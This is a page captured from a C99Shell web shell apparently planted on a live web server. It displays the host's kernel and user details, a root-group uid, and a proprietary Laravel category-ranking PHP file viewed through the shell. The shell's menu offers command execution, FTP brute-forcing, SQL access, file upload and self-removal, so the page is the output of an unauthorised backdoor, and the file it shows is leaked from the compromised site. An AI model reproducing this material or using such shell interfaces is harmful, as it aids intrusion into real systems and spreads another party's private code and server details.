!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Services/Category/   drwxr-xr-x
Free 25.52 GB of 117.98 GB (21.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     CategoryCategorizationService.php (4.3 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package CategoryCategorizationService
 * @author TechVillage <support@techvill.org>
 * @contributor Md Abdur Rahaman Zihad <[zihad.techvill@gmail.com]>
 * @created 15-15-2022
 */


namespace App\Services\Category;

use 
App\Models\Category;
use 
App\Services\CategorizationService;
use 
Illuminate\Support\Facades\DB;

class 
CategoryCategorizationService extends CategorizationService
{

    protected function 
initialize($query$withMeta)
    {
        
$this->setQuery($query ?? Category::query());
    }

    protected function 
getStatsTable()
    {
        return 
'category_stats';
    }


    
/**
     * Popular categories
     * @return self
     */
    
public function popularCategories()
    {
        
$this->method 'popularCategories';

        if (
$this->useCache) {

            
$categories $this->getFromCache($this->method);

            if (
$categories) {
                
$this->data $categories;
                return 
$this;
            }
        }

        
$categoryIds DB::table($this->getStatsTable())->selectRaw('sum(count_views) as total_views, sum(count_sales) as total_sales, category_id')
            ->
whereBetween('date', [$this->getStartDate(), $this->getEndDate()])
            ->
where('category_id''!='1)
            ->
groupBy('category_id')
            ->
orderBy('total_views''desc')
            ->
orderBy('total_sales''desc')
            ->
paginate($this->limit);

        
$this->paginator $categoryIds;

        
$ids $categoryIds->getCollection()->pluck('category_id')->toArray();

        if (!
is_array($ids) || count($ids) == 0) {
            
$this->query null;
            
$this->paginator null;
            return 
$this;
        }

        
$this->query $this->getQuery()
            ->
select($this->getSelectFields())
            ->
whereIn('id'$ids)
            ->
active()
            ->
orderByRaw(DB::raw("FIELD(id, " implode(","$ids) . ")"));

        return 
$this;
    }


    
/**
     * Best seller categories
     * @return self
     */
    
public function bestSellerCategories()
    {
        
$this->method 'bestSellerCategories';

        if (
$this->useCache) {

            
$categories $this->getFromCache($this->method);

            if (
$categories) {
                
$this->data $categories;
                return 
$this;
            }
        }

        
$categoryIds DB::table($this->getStatsTable())->selectRaw('sum(count_views) as total_views, sum(count_sales) as total_sales, category_id')
            ->
whereBetween('date', [$this->getStartDate(), $this->getEndDate()])
            ->
where('category_id''!='1)
            ->
groupBy('category_id')
            ->
orderBy('total_sales''desc')
            ->
orderBy('total_views''desc')
            ->
paginate($this->limit);

        
$this->paginator $categoryIds;

        
$ids $categoryIds->getCollection()->pluck('category_id')->toArray();

        if (!
is_array($ids) || count($ids) == 0) {
            
$this->query null;
            
$this->paginator null;
            return 
$this;
        }

        
$this->query $this->getQuery()
            ->
select($this->getSelectFields())
            ->
whereIn('id'$ids)
            ->
active()
            ->
orderByRaw(DB::raw("FIELD(id, " implode(","$ids) . ")"));

        return 
$this;
    }


    
/**
     * Random categories
     * @return self
     */
    
public function randomCategories()
    {
        
$this->method 'randomCategories';

        if (
$this->useCache) {

            
$categories $this->getFromCache($this->method);

            if (
$categories) {
                
$this->data $categories;
                return 
$this;
            }
        }

        
$this->query $this->getQuery()
            ->
active()
            ->
inRandomOrder()
            ->
limit($this->limit);

        return 
$this;
    }


    
/**
     * Selected categories
     * @return self
     */
    
public function selectedCategories($ids = [])
    {
        
$this->useCache false;

        
$this->query $this->getQuery()
            ->
active()
            ->
whereIn('id'$ids)
            ->
limit($this->limit)
            ->
orderByRaw(DB::raw("FIELD(id, " implode(","$ids) . ")"));
        return 
$this;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--